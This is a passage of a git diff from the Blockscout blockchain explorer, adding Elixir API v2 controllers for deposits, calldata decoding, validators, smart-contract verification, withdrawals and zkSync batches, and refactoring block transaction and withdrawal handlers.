- `Plug.Conn.t()` - A 200 response with rendered deposits and pagination + information when successful. + """ + @spec beacon_deposits(Plug.Conn.t(), map()) :: + {:format, :error} + | {:not_found, {:error, :not_found}} + | {:restricted_access, true} + | Plug.Conn.t() + def beacon_deposits(conn, %{"transaction_hash_param" => transaction_hash_string} = params) do + with {:ok, _transaction, transaction_hash} <- validate_transaction(transaction_hash_string, params) do + full_options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [withdrawal_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional + }, + api?: true + ] + |> Keyword.merge(DepositController.paging_options(params)) + + deposit_plus_one = BeaconDeposit.from_transaction_hash(transaction_hash, full_options) + {deposits, next_page} = split_list_by_page(deposit_plus_one) + + next_page_params = + next_page + |> next_page_params( + deposits, + params, + DepositController.paging_function() + ) + + conn + |> put_status(200) + |> put_view(DepositView) + |> render(:deposits, %{ + deposits: deposits |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + @doc """ + Checks if this valid transaction hash string, and this transaction doesn't belong to prohibited address + """ + @spec validate_transaction(String.t(), any(), Keyword.t()) :: + {:format, :error} + | {:not_found, {:error, :not_found}} + | {:restricted_access, true} + | {:ok, Transaction.t(), Hash.t()} + def validate_transaction(transaction_hash_string, params, options \\ @api_true) do + with {:format, {:ok, transaction_hash}} <- {:format, Chain.string_to_full_hash(transaction_hash_string)}, + {:not_found, {:ok, transaction}} <- + {:not_found, Chain.hash_to_transaction(transaction_hash, options)}, + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, transaction, transaction_hash} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/utils_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/utils_controller.ex new file mode 100644 index 000000000000..233066aaff43 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/utils_controller.ex @@ -0,0 +1,43 @@ +defmodule BlockScoutWeb.API.V2.UtilsController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.API.V2.TransactionView + alias Explorer.Chain + alias Explorer.Chain.{Address, Data, SmartContract, Transaction} + + @api_true [api?: true] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET and POST requests to `/api/v2/utils/decode-calldata` + """ + @spec decode_calldata(Plug.Conn.t(), map()) :: {:format, :error} | Plug.Conn.t() + def decode_calldata(conn, params) do + with {:format, {:ok, data}} <- {:format, Data.cast(params["calldata"])}, + address_hash <- params["address_hash"] && Chain.string_to_address_hash(params["address_hash"]), + {:format, true} <- {:format, match?({:ok, _hash}, address_hash) || is_nil(address_hash)} do + smart_contract = + if address_hash do + {updated_smart_contract, _} = + SmartContract.address_hash_to_smart_contract_with_bytecode_twin(elem(address_hash, 1), @api_true) + + updated_smart_contract + end + + decoded_input = + Transaction.decoded_input_data( + %Transaction{ + input: data, + to_address: %Address{contract_code: %Data{bytes: ""}, smart_contract: smart_contract} + }, + @api_true + ) + + decoded_input_data = decoded_input |> Transaction.format_decoded_input() |> TransactionView.decoded_input() + + conn + |> json(%{result: decoded_input_data}) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/validator_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/validator_controller.ex new file mode 100644 index 000000000000..63674c20080e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/validator_controller.ex @@ -0,0 +1,215 @@ +defmodule BlockScoutWeb.API.V2.ValidatorController do + use BlockScoutWeb, :controller + + import Explorer.PagingOptions, only: [default_paging_options: 0] + + alias BlockScoutWeb.API.V2.ApiView + alias Explorer.Chain.Blackfort.Validator, as: ValidatorBlackfort + alias Explorer.Chain.Cache.Counters.{Blackfort, Stability} + alias Explorer.Chain.Stability.Validator, as: ValidatorStability + alias Explorer.Chain.Zilliqa.Hash.BLSPublicKey + alias Explorer.Chain.Zilliqa.Staker, as: ValidatorZilliqa + alias Explorer.Helper + + import BlockScoutWeb.PagingHelper, + only: [ + stability_validators_state_options: 1, + validators_blackfort_sorting: 1, + validators_stability_sorting: 1 + ] + + import BlockScoutWeb.Chain, + only: [ + split_list_by_page: 1, + paging_options: 1, + next_page_params: 4 + ] + + @api_true api?: true + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle GET requests to `/api/v2/validators/stability` endpoint. + """ + @spec stability_validators_list(Plug.Conn.t(), map()) :: Plug.Conn.t() + def stability_validators_list(conn, params) do + options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + |> Keyword.merge(@api_true) + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(validators_stability_sorting(params)) + |> Keyword.merge(stability_validators_state_options(params)) + + {validators, next_page} = options |> ValidatorStability.get_paginated_validators() |> split_list_by_page() + + next_page_params = + next_page + |> next_page_params( + validators, + params, + &ValidatorStability.next_page_params/1 + ) + + conn + |> render(:stability_validators, %{validators: validators, next_page_params: next_page_params}) + end + + @doc """ + Function to handle GET requests to `/api/v2/validators/stability/counters` endpoint. + """ + @spec stability_validators_counters(Plug.Conn.t(), map()) :: Plug.Conn.t() + def stability_validators_counters(conn, _params) do + %{ + validators_counter: validators_counter, + new_validators_counter: new_validators_counter, + active_validators_counter: active_validators_counter + } = Stability.ValidatorsCount.get_counters(@api_true) + + conn + |> json(%{ + validators_count: validators_counter, + new_validators_count_24h: new_validators_counter, + active_validators_count: active_validators_counter, + active_validators_percentage: + calculate_active_validators_percentage(active_validators_counter, validators_counter) + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/validators/blackfort` endpoint. + """ + @spec blackfort_validators_list(Plug.Conn.t(), map()) :: Plug.Conn.t() + def blackfort_validators_list(conn, params) do + options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_association()]] => :optional + } + ] + |> Keyword.merge(@api_true) + |> Keyword.merge(paging_options(params)) + |> Keyword.merge(validators_blackfort_sorting(params)) + + {validators, next_page} = options |> ValidatorBlackfort.get_paginated_validators() |> split_list_by_page() + + next_page_params = + next_page + |> next_page_params( + validators, + params, + &ValidatorBlackfort.next_page_params/1 + ) + + conn + |> render(:blackfort_validators, %{validators: validators, next_page_params: next_page_params}) + end + + @doc """ + Function to handle GET requests to `/api/v2/validators/blackfort/counters` endpoint. + """ + @spec blackfort_validators_counters(Plug.Conn.t(), map()) :: Plug.Conn.t() + def blackfort_validators_counters(conn, _params) do + %{ + validators_counter: validators_counter, + new_validators_counter: new_validators_counter + } = Blackfort.ValidatorsCount.get_counters(@api_true) + + conn + |> json(%{ + validators_count: validators_counter, + new_validators_count_24h: new_validators_counter + }) + end + + defp calculate_active_validators_percentage(active_validators_counter, validators_counter) do + if Decimal.compare(validators_counter, Decimal.new(0)) == :gt do + active_validators_counter + |> Decimal.div(validators_counter) + |> Decimal.mult(100) + |> Decimal.to_float() + |> Float.floor(2) + end + end + + @doc """ + Function to handle GET requests to `/api/v2/validators/zilliqa` endpoint. + """ + @spec zilliqa_validators_list(Plug.Conn.t(), map()) :: Plug.Conn.t() + def zilliqa_validators_list(conn, params) do + paging_options = + with {:ok, index} <- Map.fetch(params, "index"), + {:ok, index} <- Helper.safe_parse_non_negative_integer(index) do + %{default_paging_options() | key: %{index: index}} + else + _ -> default_paging_options() + end + + sorting_options = + case params do + %{"sort" => "index", "order" => "asc"} -> [asc_nulls_first: :index] + %{"sort" => "index", "order" => "desc"} -> [desc_nulls_last: :index] + _ -> [] + end + + options = + @api_true + |> Keyword.merge(paging_options: paging_options) + |> Keyword.merge(sorting_options: sorting_options) + + {validators, next_page} = + options + |> ValidatorZilliqa.paginated_active_stakers() + |> split_list_by_page() + + next_page_params = + next_page + |> next_page_params( + validators, + params, + &ValidatorZilliqa.next_page_params/1 + ) + + conn + |> render(:zilliqa_validators, %{ + validators: validators, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/validators/zilliqa/:bls_public_key` endpoint. + """ + @spec zilliqa_validator(Plug.Conn.t(), map()) :: Plug.Conn.t() | :error | {:error, :not_found} + def zilliqa_validator(conn, %{"bls_public_key" => bls_public_key_string}) do + options = + [ + necessity_by_association: %{ + [ + control_address: [:names, :smart_contract, proxy_implementations_association()], + reward_address: [:names, :smart_contract, proxy_implementations_association()], + signing_address: [:names, :smart_contract, proxy_implementations_association()] + ] => :optional + } + ] + |> Keyword.merge(@api_true) + + with {:ok, _bls_public_key} <- BLSPublicKey.cast(bls_public_key_string), + {:ok, staker} <- ValidatorZilliqa.bls_public_key_to_staker(bls_public_key_string, options) do + render(conn, :zilliqa_validator, %{validator: staker}) + else + :error -> + conn + |> put_view(ApiView) + |> put_status(:bad_request) + |> render(:message, %{message: "Invalid bls public key"}) + + error -> + error + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/verification_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/verification_controller.ex new file mode 100644 index 000000000000..a691ec638f69 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/verification_controller.ex @@ -0,0 +1,420 @@ +defmodule BlockScoutWeb.API.V2.VerificationController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Explorer.Helper, only: [parse_boolean: 1] + + require Logger + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.API.V2.ApiView + alias Explorer.Chain + alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.Solidity.PublisherWorker, as: SolidityPublisherWorker + alias Explorer.SmartContract.Solidity.PublishHelper + alias Explorer.SmartContract.Stylus.PublisherWorker, as: StylusPublisherWorker + alias Explorer.SmartContract.Vyper.PublisherWorker, as: VyperPublisherWorker + alias Explorer.SmartContract.{CompilerVersion, RustVerifierInterface, Solidity.CodeCompiler, StylusVerifierInterface} + alias Indexer.Fetcher.OnDemand.ContractCode + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + @sc_verification_started "Smart-contract verification started" + @zk_optimization_modes ["0", "1", "2", "3", "s", "z"] + + if @chain_type == :zksync do + @optimization_runs "0" + else + @optimization_runs 200 + end + + def config(conn, _params) do + solidity_compiler_versions = CompilerVersion.fetch_version_list(:solc) + vyper_compiler_versions = CompilerVersion.fetch_version_list(:vyper) + + verification_options = get_verification_options() + + base_config = + %{ + solidity_evm_versions: CodeCompiler.evm_versions(:solidity), + solidity_compiler_versions: solidity_compiler_versions, + vyper_compiler_versions: vyper_compiler_versions, + verification_options: verification_options, + vyper_evm_versions: CodeCompiler.evm_versions(:vyper), + is_rust_verifier_microservice_enabled: RustVerifierInterface.enabled?(), + license_types: Enum.into(SmartContract.license_types_enum(), %{}) + } + + config = + base_config + |> maybe_add_zk_options() + |> maybe_add_stylus_options() + + conn + |> json(config) + end + + defp get_verification_options do + if Application.get_env(:explorer, :chain_type) == :zksync do + ["standard-input"] + else + ["flattened-code", "standard-input", "vyper-code"] + |> (&if(Application.get_env(:explorer, Explorer.ThirdPartyIntegrations.Sourcify)[:enabled], + do: ["sourcify" | &1], + else: &1 + )).() + |> (&if(RustVerifierInterface.enabled?(), + do: ["multi-part", "vyper-multi-part", "vyper-standard-input"] ++ &1, + else: &1 + )).() + |> (&if(StylusVerifierInterface.enabled?(), + do: ["stylus-github-repository" | &1], + else: &1 + )).() + end + end + + defp maybe_add_zk_options(config) do + if Application.get_env(:explorer, :chain_type) == :zksync do + zk_compiler_versions = CompilerVersion.fetch_version_list(:zk) + + config + |> Map.put(:zk_compiler_versions, zk_compiler_versions) + |> Map.put(:zk_optimization_modes, @zk_optimization_modes) + else + config + end + end + + # Adds Stylus compiler versions to config if Stylus verification is enabled + defp maybe_add_stylus_options(config) do + if StylusVerifierInterface.enabled?() do + config + |> Map.put(:stylus_compiler_versions, CompilerVersion.fetch_version_list(:stylus)) + else + config + end + end + + def verification_via_flattened_code( + conn, + %{"address_hash" => address_hash_string, "compiler_version" => compiler_version, "source_code" => source_code} = + params + ) do + Logger.info("API v2 smart-contract #{address_hash_string} verification via flattened file") + + with :validated <- validate_address(conn, params) do + verification_params = + %{ + "address_hash" => String.downcase(address_hash_string), + "compiler_version" => compiler_version, + "contract_source_code" => source_code + } + |> Map.put("optimization", Map.get(params, "is_optimization_enabled", false)) + |> (&if(params |> Map.get("is_optimization_enabled", false) |> parse_boolean(), + do: Map.put(&1, "optimization_runs", Map.get(params, "optimization_runs", @optimization_runs)), + else: &1 + )).() + |> Map.put("evm_version", Map.get(params, "evm_version", "default")) + |> Map.put("autodetect_constructor_args", Map.get(params, "autodetect_constructor_args", true)) + |> Map.put("constructor_arguments", Map.get(params, "constructor_args", "")) + |> Map.put("name", Map.get(params, "contract_name", "")) + |> Map.put("external_libraries", Map.get(params, "libraries", %{})) + |> Map.put("is_yul", Map.get(params, "is_yul_contract", false)) + |> Map.put("license_type", Map.get(params, "license_type")) + + log_sc_verification_started(address_hash_string) + Que.add(SolidityPublisherWorker, {"flattened_api_v2", verification_params}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + def verification_via_standard_input( + conn, + %{"address_hash" => address_hash_string, "files" => _files, "compiler_version" => compiler_version} = params + ) do + Logger.info("API v2 smart-contract #{address_hash_string} verification via standard json input") + + with {:json_input, json_input} <- validate_params_standard_json_input(conn, params) do + verification_params = + %{ + "address_hash" => String.downcase(address_hash_string), + "compiler_version" => compiler_version + } + |> Map.put("autodetect_constructor_args", Map.get(params, "autodetect_constructor_args", true)) + |> Map.put("constructor_arguments", Map.get(params, "constructor_args", "")) + |> Map.put("name", Map.get(params, "contract_name", "")) + |> Map.put("license_type", Map.get(params, "license_type")) + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: Map.put(&1, "zk_compiler_version", Map.get(params, "zk_compiler_version")), + else: &1 + )).() + + log_sc_verification_started(address_hash_string) + Que.add(SolidityPublisherWorker, {"json_api_v2", verification_params, json_input}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + def verification_via_sourcify(conn, %{"address_hash" => address_hash_string, "files" => files} = params) do + Logger.info("API v2 smart-contract #{address_hash_string} verification via Sourcify") + + with {:not_found, true} <- + {:not_found, Application.get_env(:explorer, Explorer.ThirdPartyIntegrations.Sourcify)[:enabled]}, + :validated <- validate_address(conn, params), + files_array <- PublishHelper.prepare_files_array(files), + {:no_json_file, %Plug.Upload{path: _path}} <- + {:no_json_file, PublishHelper.get_one_json(files_array)}, + files_content <- PublishHelper.read_files(files_array) do + chosen_contract = params["chosen_contract_index"] + + log_sc_verification_started(address_hash_string) + + Que.add( + SolidityPublisherWorker, + {"sourcify_api_v2", String.downcase(address_hash_string), files_content, conn, chosen_contract} + ) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + def verification_via_multi_part( + conn, + %{"address_hash" => address_hash_string, "compiler_version" => compiler_version, "files" => files} = params + ) do + Logger.info("API v2 smart-contract #{address_hash_string} verification via multipart") + + with :verifier_enabled <- check_microservice(), + :validated <- validate_address(conn, params), + libraries <- Map.get(params, "libraries", "{}"), + {:libs_format, {:ok, json}} <- {:libs_format, Jason.decode(libraries)} do + verification_params = + %{ + "address_hash" => String.downcase(address_hash_string), + "compiler_version" => compiler_version + } + |> Map.put("optimization", Map.get(params, "is_optimization_enabled", false)) + |> (&if(params |> Map.get("is_optimization_enabled", false) |> parse_boolean(), + do: Map.put(&1, "optimization_runs", Map.get(params, "optimization_runs", @optimization_runs)), + else: &1 + )).() + |> Map.put("evm_version", Map.get(params, "evm_version", "default")) + |> Map.put("external_libraries", json) + |> Map.put("license_type", Map.get(params, "license_type")) + + files_array = + files + |> PublishHelper.prepare_files_array() + |> PublishHelper.read_files() + + log_sc_verification_started(address_hash_string) + Que.add(SolidityPublisherWorker, {"multipart_api_v2", verification_params, files_array}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + def verification_via_vyper_code( + conn, + %{"address_hash" => address_hash_string, "compiler_version" => compiler_version, "source_code" => source_code} = + params + ) do + with :validated <- validate_address(conn, params) do + verification_params = + %{ + "address_hash" => String.downcase(address_hash_string), + "compiler_version" => compiler_version, + "contract_source_code" => source_code + } + |> Map.put("constructor_arguments", Map.get(params, "constructor_args", "") || "") + |> Map.put("name", Map.get(params, "contract_name", "Vyper_contract")) + |> Map.put("evm_version", Map.get(params, "evm_version")) + |> Map.put("license_type", Map.get(params, "license_type")) + + log_sc_verification_started(address_hash_string) + Que.add(VyperPublisherWorker, {"vyper_flattened", verification_params}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + def verification_via_vyper_multipart( + conn, + %{"address_hash" => address_hash_string, "compiler_version" => compiler_version, "files" => files} = params + ) do + Logger.info("API v2 vyper smart-contract #{address_hash_string} verification") + + with :verifier_enabled <- check_microservice(), + :validated <- validate_address(conn, params) do + interfaces = parse_interfaces(params["interfaces"]) + + verification_params = + %{ + "address_hash" => String.downcase(address_hash_string), + "compiler_version" => compiler_version + } + |> Map.put("evm_version", Map.get(params, "evm_version")) + |> Map.put("interfaces", interfaces) + |> Map.put("license_type", Map.get(params, "license_type")) + + files_array = + files + |> PublishHelper.prepare_files_array() + |> PublishHelper.read_files() + + log_sc_verification_started(address_hash_string) + Que.add(VyperPublisherWorker, {"vyper_multipart", verification_params, files_array}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + def verification_via_vyper_standard_input( + conn, + %{"address_hash" => address_hash_string, "files" => _files, "compiler_version" => compiler_version} = params + ) do + Logger.info("API v2 vyper smart-contract #{address_hash_string} verification via standard json input") + + with :verifier_enabled <- check_microservice(), + {:json_input, json_input} <- validate_params_standard_json_input(conn, params) do + verification_params = %{ + "address_hash" => String.downcase(address_hash_string), + "compiler_version" => compiler_version, + "input" => json_input, + "license_type" => Map.get(params, "license_type") + } + + log_sc_verification_started(address_hash_string) + Que.add(VyperPublisherWorker, {"vyper_standard_json", verification_params}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + @doc """ + Initiates verification of a Stylus smart contract using its GitHub repository source code. + + Validates the request parameters and queues the verification job to be processed + asynchronously by the Stylus publisher worker. + + ## Parameters + - `conn`: The connection struct + - `params`: A map containing: + - `address_hash`: Contract address to verify + - `cargo_stylus_version`: Version of cargo-stylus used for deployment + - `repository_url`: GitHub repository URL containing contract code + - `commit`: Git commit hash used for deployment + - `path_prefix`: Optional path prefix if contract is not in repository root + + ## Returns + - JSON response with: + - Success message if verification request is queued successfully + - Error message if: + - Stylus verification is not enabled + - Address format is invalid + - Contract is already verified + - Access is restricted + """ + @spec verification_via_stylus_github_repository(Plug.Conn.t(), %{String.t() => any()}) :: + {:already_verified, true} + | {:format, :error} + | {:not_found, false | nil} + | {:restricted_access, true} + | Plug.Conn.t() + def verification_via_stylus_github_repository( + conn, + %{ + "address_hash" => address_hash_string, + "cargo_stylus_version" => _, + "repository_url" => _, + "commit" => _, + "path_prefix" => _ + } = params + ) do + Logger.info("API v2 stylus smart-contract #{address_hash_string} verification via github repository") + + with {:not_found, true} <- {:not_found, StylusVerifierInterface.enabled?()}, + :validated <- validate_address(conn, params) do + log_sc_verification_started(address_hash_string) + Que.add(StylusPublisherWorker, {"github_repository", params}) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @sc_verification_started}) + end + end + + defp parse_interfaces(interfaces) do + cond do + is_binary(interfaces) -> + case Jason.decode(interfaces) do + {:ok, map} -> + map + + _ -> + nil + end + + is_map(interfaces) -> + interfaces + |> PublishHelper.prepare_files_array() + |> PublishHelper.read_files() + + true -> + nil + end + end + + # sobelow_skip ["Traversal.FileModule"] + defp validate_params_standard_json_input(conn, %{"files" => files} = params) do + with :validated <- validate_address(conn, params), + files_array <- PublishHelper.prepare_files_array(files), + {:no_json_file, %Plug.Upload{path: path}} <- + {:no_json_file, PublishHelper.get_one_json(files_array)}, + {:file_error, {:ok, json_input}} <- {:file_error, File.read(path)} do + {:json_input, json_input} + end + end + + defp validate_address(conn, %{"address_hash" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:not_a_smart_contract, {:ok, _bytecode}} <- + {:not_a_smart_contract, + conn + |> AccessHelper.conn_to_ip_string() + |> ContractCode.get_or_fetch_bytecode(address_hash)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:already_verified, false} <- + {:already_verified, SmartContract.verified_with_full_match?(address_hash, @api_true)} do + :validated + end + end + + defp check_microservice do + with {:not_found, true} <- {:not_found, RustVerifierInterface.enabled?()} do + :verifier_enabled + end + end + + defp log_sc_verification_started(address_hash_string) do + Logger.info("API v2 smart-contract #{address_hash_string} verification request sent to the microservice") + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/withdrawal_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/withdrawal_controller.ex new file mode 100644 index 000000000000..83b009cee4bc --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/withdrawal_controller.ex @@ -0,0 +1,43 @@ +defmodule BlockScoutWeb.API.V2.WithdrawalController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + + alias Explorer.Chain + + def withdrawals_list(conn, params) do + full_options = + [ + necessity_by_association: %{ + [address: [:names, :smart_contract, proxy_implementations_association()]] => :optional, + block: :optional + }, + api?: true + ] + |> Keyword.merge(paging_options(params)) + + withdrawals_plus_one = Chain.list_withdrawals(full_options) + {withdrawals, next_page} = split_list_by_page(withdrawals_plus_one) + + next_page_params = next_page |> next_page_params(withdrawals, params) + + conn + |> put_status(200) + |> render(:withdrawals, %{ + withdrawals: withdrawals |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + def withdrawals_counters(conn, _params) do + conn + |> json(%{ + withdrawals_count: Chain.count_withdrawals_from_cache(api?: true), + withdrawals_sum: Chain.sum_withdrawals_from_cache(api?: true) + }) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/zksync_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/zksync_controller.ex new file mode 100644 index 000000000000..8f96f0e1c2df --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/zksync_controller.ex @@ -0,0 +1,113 @@ +defmodule BlockScoutWeb.API.V2.ZkSyncController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 4, + paging_options: 1, + split_list_by_page: 1 + ] + + alias Explorer.Chain.ZkSync.{Reader, TransactionBatch} + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @batch_necessity_by_association %{ + :commit_transaction => :optional, + :prove_transaction => :optional, + :execute_transaction => :optional + } + + @doc """ + Function to handle GET requests to `/api/v2/zksync/batches/:batch_number` endpoint. + """ + @spec batch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch(conn, %{"batch_number" => batch_number} = _params) do + case Reader.batch( + batch_number, + necessity_by_association: @batch_necessity_by_association, + api?: true + ) do + {:ok, batch} -> + conn + |> put_status(200) + |> render(:zksync_batch, %{batch: batch}) + + {:error, :not_found} = res -> + res + end + end + + @doc """ + Function to handle GET requests to `/api/v2/zksync/batches` endpoint. + """ + @spec batches(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches(conn, params) do + {batches, next_page} = + params + |> paging_options() + |> Keyword.put(:necessity_by_association, @batch_necessity_by_association) + |> Keyword.put(:api?, true) + |> Reader.batches() + |> split_list_by_page() + + next_page_params = + next_page_params( + next_page, + batches, + params, + fn %TransactionBatch{number: number} -> %{"number" => number} end + ) + + conn + |> put_status(200) + |> render(:zksync_batches, %{ + batches: batches, + next_page_params: next_page_params + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/zksync/batches/count` endpoint. + """ + @spec batches_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_count(conn, _params) do + conn + |> put_status(200) + |> render(:zksync_batches_count, %{count: Reader.batches_count(api?: true)}) + end + + @doc """ + Function to handle GET requests to `/api/v2/main-page/zksync/batches/confirmed` endpoint. + """ + @spec batches_confirmed(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batches_confirmed(conn, _params) do + batches = + [] + |> Keyword.put(:necessity_by_association, @batch_necessity_by_association) + |> Keyword.put(:api?, true) + |> Keyword.put(:confirmed?, true) + |> Reader.batches() + + conn + |> put_status(200) + |> render(:zksync_batches, %{batches: batches}) + end + + @doc """ + Function to handle GET requests to `/api/v2/main-page/zksync/batches/latest-number` endpoint. + """ + @spec batch_latest_number(Plug.Conn.t(), map()) :: Plug.Conn.t() + def batch_latest_number(conn, _params) do + conn + |> put_status(200) + |> render(:zksync_batch_latest_number, %{number: batch_latest_number()}) + end + + defp batch_latest_number do + case Reader.batch(:latest, api?: true) do + {:ok, batch} -> batch.number + {:error, :not_found} -> 0 + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/block_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/block_transaction_controller.ex index 9602aae55418..4a92e7c5ca52 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/block_transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/block_transaction_controller.ex @@ -2,15 +2,22 @@ defmodule BlockScoutWeb.BlockTransactionController do use BlockScoutWeb, :controller import BlockScoutWeb.Chain, - only: [paging_options: 1, put_key_value_to_paging_options: 3, next_page_params: 3, split_list_by_page: 1] + only: [ + paging_options: 1, + put_key_value_to_paging_options: 3, + next_page_params: 3, + split_list_by_page: 1, + parse_block_hash_or_number_param: 1 + ] - import Explorer.Chain, only: [hash_to_block: 2, number_to_block: 2, string_to_block_hash: 1] + import Explorer.Chain, only: [hash_to_block: 2, number_to_block: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] alias BlockScoutWeb.{Controller, TransactionView} alias Explorer.Chain alias Phoenix.View - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index(conn, %{"block_hash_or_number" => formatted_block_hash_or_number, "type" => "JSON"} = params) do @@ -99,7 +106,7 @@ defmodule BlockScoutWeb.BlockTransactionController do def index(conn, %{"block_hash_or_number" => formatted_block_hash_or_number}) do case param_block_hash_or_number_to_block(formatted_block_hash_or_number, necessity_by_association: %{ - [miner: :names] => :required, + [miner: :names] => :optional, :uncles => :optional, :nephews => :optional, :rewards => :optional @@ -133,30 +140,22 @@ defmodule BlockScoutWeb.BlockTransactionController do end end - defp param_block_hash_or_number_to_block("0x" <> _ = param, options) do - case string_to_block_hash(param) do - {:ok, hash} -> - hash_to_block(hash, options) - - :error -> - {:error, {:invalid, :hash}} - end - end - - defp param_block_hash_or_number_to_block(number_string, options) - when is_binary(number_string) do - case BlockScoutWeb.Chain.param_to_block_number(number_string) do - {:ok, number} -> + def param_block_hash_or_number_to_block(param, options) do + case parse_block_hash_or_number_param(param) do + {:ok, :number, number} -> number_to_block(number, options) - {:error, :invalid} -> - {:error, {:invalid, :number}} + {:ok, :hash, hash} -> + hash_to_block(hash, options) + + error -> + error end end - defp block_above_tip("0x" <> _), do: {:error, :hash} + def block_above_tip("0x" <> _), do: {:error, :hash} - defp block_above_tip(block_hash_or_number) when is_binary(block_hash_or_number) do + def block_above_tip(block_hash_or_number) when is_binary(block_hash_or_number) do case Chain.max_consensus_block_number() do {:ok, max_consensus_block_number} -> {block_number, _} = Integer.parse(block_hash_or_number) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/block_withdrawal_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/block_withdrawal_controller.ex new file mode 100644 index 000000000000..c6044d84ca43 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/block_withdrawal_controller.ex @@ -0,0 +1,106 @@ +defmodule BlockScoutWeb.BlockWithdrawalController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + + import BlockScoutWeb.BlockTransactionController, only: [param_block_hash_or_number_to_block: 2, block_above_tip: 1] + + alias BlockScoutWeb.{BlockTransactionView, BlockWithdrawalView, Controller} + alias Explorer.Chain + alias Phoenix.View + + def index(conn, %{"block_hash_or_number" => formatted_block_hash_or_number, "type" => "JSON"} = params) do + case param_block_hash_or_number_to_block(formatted_block_hash_or_number, []) do + {:ok, block} -> + full_options = + [necessity_by_association: %{address: :optional}] + |> Keyword.merge(paging_options(params)) + + withdrawals_plus_one = Chain.block_to_withdrawals(block.hash, full_options) + + {withdrawals, next_page} = split_list_by_page(withdrawals_plus_one) + + next_page_path = + case next_page_params(next_page, withdrawals, params) do + nil -> + nil + + next_page_params -> + block_withdrawal_path( + conn, + :index, + block, + Map.delete(next_page_params, "type") + ) + end + + items = + for withdrawal <- withdrawals do + View.render_to_string(BlockWithdrawalView, "_withdrawal.html", withdrawal: withdrawal) + end + + json( + conn, + %{ + items: items, + next_page_path: next_page_path + } + ) + + {:error, {:invalid, :hash}} -> + not_found(conn) + + {:error, 